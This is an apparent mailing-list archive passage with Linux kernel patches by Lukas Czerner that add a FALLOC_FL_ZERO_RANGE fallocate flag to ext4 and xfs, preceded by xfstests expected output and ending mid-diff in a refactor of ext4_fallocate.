XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6823936 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6832128 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6840320 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6848512 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6856704 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6864896 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6873088 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6881280 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6889472 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6897664 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6905856 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6914048 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6922240 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6930432 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6938624 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6946816 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6955008 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6963200 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6971392 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6979584 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6987776 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 6995968 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7004160 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7012352 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7020544 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7028736 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7036928 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7045120 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7053312 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7061504 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7069696 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7077888 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7086080 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7094272 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7102464 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7110656 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7118848 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7127040 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7135232 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7143424 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7151616 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7159808 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7168000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7176192 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7184384 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7192576 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7200768 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7208960 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7217152 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7225344 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7233536 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7241728 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7249920 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7258112 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7266304 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7274496 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7282688 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7290880 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7299072 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7307264 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7315456 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7323648 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7331840 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7340032 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7348224 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7356416 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7364608 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7372800 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7380992 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7389184 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7397376 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7405568 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7413760 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7421952 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7430144 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7438336 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7446528 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7454720 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7462912 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7471104 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7479296 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7487488 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7495680 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7503872 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7512064 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7520256 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7528448 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7536640 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7544832 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7553024 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7561216 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7569408 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7577600 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7585792 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7593984 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7602176 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7610368 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7618560 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7626752 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7634944 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7643136 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7651328 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7659520 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7667712 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7675904 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7684096 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7692288 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7700480 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7708672 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7716864 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 7725056 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) 9023ed93111c422d82e9cd54043a6fb0 SCRATCH_MNT/foo 8e58ce8749d203f29f6b8f6990da722f SCRATCH_MNT/mysnap1/foo 9023ed93111c422d82e9cd54043a6fb0 SCRATCH_MNT/mysnap2/foo -- 1.7.9.5 From lczerner@redhat.com Mon Feb 17 09:08:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E0C697F8A for ; Mon, 17 Feb 2014 09:08:36 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6C475AC00A for ; Mon, 17 Feb 2014 07:08:33 -0800 (PST) X-ASG-Debug-ID: 1392649712-04bdf00fc997d90001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id XHwGSOBXDZEkqCDZ for ; Mon, 17 Feb 2014 07:08:32 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1HF8TIs020655 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 17 Feb 2014 10:08:30 -0500 Received: from localhost.localdomain.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1HF8SPI018941; Mon, 17 Feb 2014 10:08:28 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: tytso@mit.edu, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Date: Mon, 17 Feb 2014 16:08:17 +0100 X-ASG-Orig-Subj: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Message-Id: <1392649703-10772-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392649712 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Introduce new FALLOC_FL_ZERO_RANGE flag for fallocate. This has the same functionality as xfs ioctl XFS_IOC_ZERO_RANGE. It can be used to convert a range of file to zeros preferably without issuing data IO. Blocks should be preallocated for the regions that span holes in the file, and the entire range is preferable converted to unwritten extents - even though file system may choose to zero out the extent or do whatever which will result in reading zeros from the range while the range remains allocated for the file. This can be also used to preallocate blocks past EOF in the same way as with fallocate. Flag FALLOC_FL_KEEP_SIZE which should cause the inode size to remain the same. You can test this feature yourself using xfstests, of fallocate(1) however you'll need patches for util_linux, xfsprogs and xfstests which you can find here: http://people.redhat.com/lczerner/zero_range/ I'll post the patches after we agree and merge the kernel functionality. I tested this mostly with a subset of xfstests using fsx and fsstress and even with new generic/290 which is just a copy of xfs/290 usinz fzero command for xfs_io instead of zero (which uses ioctl). I was testing on x86_64 and ppc64 with block sizes of 1024, 2048 and 4096. ./check generic/076 generic/232 generic/013 generic/070 generic/269 generic/083 generic/117 generic/068 generic/231 generic/127 generic/091 generic/075 generic/112 generic/263 generic/091 generic/075 generic/256 generic/255 generic/316 generic/300 generic/290; Note that there is a work in progress on FALLOC_FL_COLLAPSE_RANGE which touches the same area as this pach set does, so we should figure out which one should go first and modify the other on top of it. Thanks! -Lukas -- [PATCH 1/6] ext4: Update inode i_size after the preallocation [PATCH 2/6] ext4: refactor ext4_fallocate code [PATCH 3/6] ext4: translate fallocate mode bits to strings [PATCH 4/6] fs: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate [PATCH 5/6] ext4: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate [PATCH 6/6] xfs: Add support for FALLOC_FL_ZERO_RANGE fs/ext4/ext4.h | 3 + fs/ext4/extents.c | 430 ++++++++++++++++++++++++++++++++++++++++++++++++++++---------------- fs/ext4/inode.c | 17 ++- fs/open.c | 7 +- fs/xfs/xfs_file.c | 10 +- include/trace/events/ext4.h | 67 ++++++----- include/uapi/linux/falloc.h | 1 + 7 files changed, 393 insertions(+), 142 deletions(-) From lczerner@redhat.com Mon Feb 17 09:08:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 758FE7F8A for ; Mon, 17 Feb 2014 09:08:37 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 63A89304084 for ; Mon, 17 Feb 2014 07:08:37 -0800 (PST) X-ASG-Debug-ID: 1392649716-04cb6c06cf1b7d20001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id V54FO70YirwQCPip for ; Mon, 17 Feb 2014 07:08:36 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1HF8YtB020665 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 17 Feb 2014 10:08:34 -0500 Received: from localhost.localdomain.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1HF8SPL018941; Mon, 17 Feb 2014 10:08:33 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: tytso@mit.edu, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, Lukas Czerner Subject: [PATCH 3/6] ext4: translate fallocate mode bits to strings Date: Mon, 17 Feb 2014 16:08:20 +0100 X-ASG-Orig-Subj: [PATCH 3/6] ext4: translate fallocate mode bits to strings Message-Id: <1392649703-10772-4-git-send-email-lczerner@redhat.com> In-Reply-To: <1392649703-10772-1-git-send-email-lczerner@redhat.com> References: <1392649703-10772-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392649716 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Signed-off-by: Lukas Czerner --- fs/ext4/ext4.h | 1 + fs/ext4/extents.c | 1 - include/trace/events/ext4.h | 9 +++++++-- 3 files changed, 8 insertions(+), 3 deletions(-) diff --git a/fs/ext4/ext4.h b/fs/ext4/ext4.h index ece5556..3b9601c 100644 --- a/fs/ext4/ext4.h +++ b/fs/ext4/ext4.h @@ -31,6 +31,7 @@ #include #include #include +#include #ifdef __KERNEL__ #include #endif diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c index 2d68a46..4bfa870 100644 --- a/fs/ext4/extents.c +++ b/fs/ext4/extents.c @@ -37,7 +37,6 @@ #include #include #include -#include #include #include #include "ext4_jbd2.h" diff --git a/include/trace/events/ext4.h b/include/trace/events/ext4.h index 197d312..451e020 100644 --- a/include/trace/events/ext4.h +++ b/include/trace/events/ext4.h @@ -68,6 +68,11 @@ struct extent_status; { EXTENT_STATUS_DELAYED, "D" }, \ { EXTENT_STATUS_HOLE, "H" }) +#define show_falloc_mode(mode) __print_flags(mode, "|", \ + { FALLOC_FL_KEEP_SIZE, "KEEP_SIZE"}, \ + { FALLOC_FL_PUNCH_HOLE, "PUNCH_HOLE"}, \ + { FALLOC_FL_NO_HIDE_STALE, "NO_HIDE_STALE"}) + TRACE_EVENT(ext4_free_inode, TP_PROTO(struct inode *inode), @@ -1349,10 +1354,10 @@ TRACE_EVENT(ext4_fallocate_enter, __entry->mode = mode; ), - TP_printk("dev %d,%d ino %lu pos %lld len %lld mode %d", + TP_printk("dev %d,%d ino %lu pos %lld len %lld mode %s", MAJOR(__entry->dev), MINOR(__entry->dev), (unsigned long) __entry->ino, __entry->pos, - __entry->len, __entry->mode) + __entry->len, show_falloc_mode(__entry->mode)) ); TRACE_EVENT(ext4_fallocate_exit, -- 1.8.3.1 From lczerner@redhat.com Mon Feb 17 09:08:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CCD657F88 for ; Mon, 17 Feb 2014 09:08:36 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5CDAEAC002 for ; Mon, 17 Feb 2014 07:08:36 -0800 (PST) X-ASG-Debug-ID: 1392649715-04bdf00fc997da0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id EOXsx2Q8ZlqyM7uM for ; Mon, 17 Feb 2014 07:08:35 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1HF8Xc3022561 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 17 Feb 2014 10:08:33 -0500 Received: from localhost.localdomain.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1HF8SPK018941; Mon, 17 Feb 2014 10:08:31 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: tytso@mit.edu, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, Lukas Czerner Subject: [PATCH 2/6] ext4: refactor ext4_fallocate code Date: Mon, 17 Feb 2014 16:08:19 +0100 X-ASG-Orig-Subj: [PATCH 2/6] ext4: refactor ext4_fallocate code Message-Id: <1392649703-10772-3-git-send-email-lczerner@redhat.com> In-Reply-To: <1392649703-10772-1-git-send-email-lczerner@redhat.com> References: <1392649703-10772-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392649715 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Move block allocation out of the ext4_fallocate into separate function called ext4_alloc_file_blocks(). This will allow us to use the same allocation code for other allocation operations such as zero range which is commit in the next patch. Signed-off-by: Lukas Czerner --- fs/ext4/extents.c | 127 +++++++++++++++++++++++++++++++----------------------- 1 file changed, 73 insertions(+), 54 deletions(-) diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c index 6a52851..2d68a46 100644 --- a/fs/ext4/extents.c +++ b/fs/ext4/extents.c @@ -4513,6 +4513,64 @@ retry: ext4_std_error(inode->i_sb, err); } +int ext4_alloc_file_blocks(struct file *file, ext4_lblk_t offset, + ext4_lblk_t len, int flags, int mode) +{ + struct inode *inode = file_inode(file); + handle_t *handle; + int ret = 0; + int ret2 = 0; + int retries = 0; + struct ext4_map_blocks map; + unsigned int credits; + + map.m_lblk = offset; + /* + * Don't normalize the request if it can fit in one extent so + * that it doesn't get unnecessarily split into multiple + * extents. + */ + if (len <= EXT_UNINIT_MAX_LEN) + flags |= EXT4_GET_BLOCKS_NO_NORMALIZE; + + /* + * credits to insert 1 extent into extent tree + */ + credits = ext4_chunk_trans_blocks(inode, len); + +retry: + while (ret >= 0 && ret < len) { + map.m_lblk = map.m_lblk + ret; + map.m_len = len = len - ret; + handle = ext4_journal_start(inode, EXT4_HT_MAP_BLOCKS, + credits); + if (IS_ERR(handle)) { + ret = PTR_ERR(handle); + break; + } + ret = ext4_map_blocks(handle, inode, &map, flags); + if (ret <= 0) { + ext4_debug("inode #%lu: block %u: len %u: " + "ext4_ext_map_blocks returned %d", + inode->i_ino, map.m_lblk, + map.m_len, ret); + ext4_mark_inode_dirty(handle, inode); + ret2 = ext4_journal_stop(handle); + break; + } + ret2 = ext4_journal_stop(handle); + if (ret2) + break; + } + if (ret == -ENOSPC && + ext4_should_retry_alloc(inode->i_sb, &retries)) { + ret = 0; + goto retry; + } + + return ret > 0 ? ret2 : ret; +} + /* * preallocate space for a file. This implements ext4's fallocate file * operation, which gets called from sys_fallocate system call. @@ -4527,11 +4585,9 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) loff_t new_size = 0; unsigned int max_blocks; int ret = 0; - int ret2 = 0; - int retries = 0; int flags; - struct ext4_map_blocks map; - unsigned int credits, blkbits = inode->i_blkbits; + ext4_lblk_t lblk; + unsigned int blkbits = inode->i_blkbits; /* Return error if mode is not supported */ if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) @@ -4552,17 +4608,18 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) return -EOPNOTSUPP; trace_ext4_fallocate_enter(inode, offset, len, mode); - map.m_lblk = offset >> blkbits; + lblk = offset >> blkbits; /* * We can't just convert len to max_blocks because * If blocksize = 4096 offset = 3072 and len = 2048 */ max_blocks = (EXT4_BLOCK_ALIGN(len + offset, blkbits) >> blkbits) - - map.m_lblk; - /* - * credits to insert 1 extent into extent tree - */ - credits = ext4_chunk_trans_blocks(inode, max_blocks); + - lblk; + + flags = EXT4_GET_BLOCKS_CREATE_UNINIT_EXT; + if (mode & FALLOC_FL_KEEP_SIZE) + flags |= EXT4_GET_BLOCKS_KEEP_SIZE; + mutex_lock(&inode->i_mutex); if (!(mode & FALLOC_FL_KEEP_SIZE) && @@ -4573,46 +4630,9 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) goto out; } - flags = EXT4_GET_BLOCKS_CREATE_UNINIT_EXT; - if (mode & FALLOC_FL_KEEP_SIZE) - flags |= EXT4_GET_BLOCKS_KEEP_SIZE; - /* - * Don't normalize the request if it can fit in one extent so - * that it doesn't get unnecessarily split into multiple - * extents. - */ - if (len <= 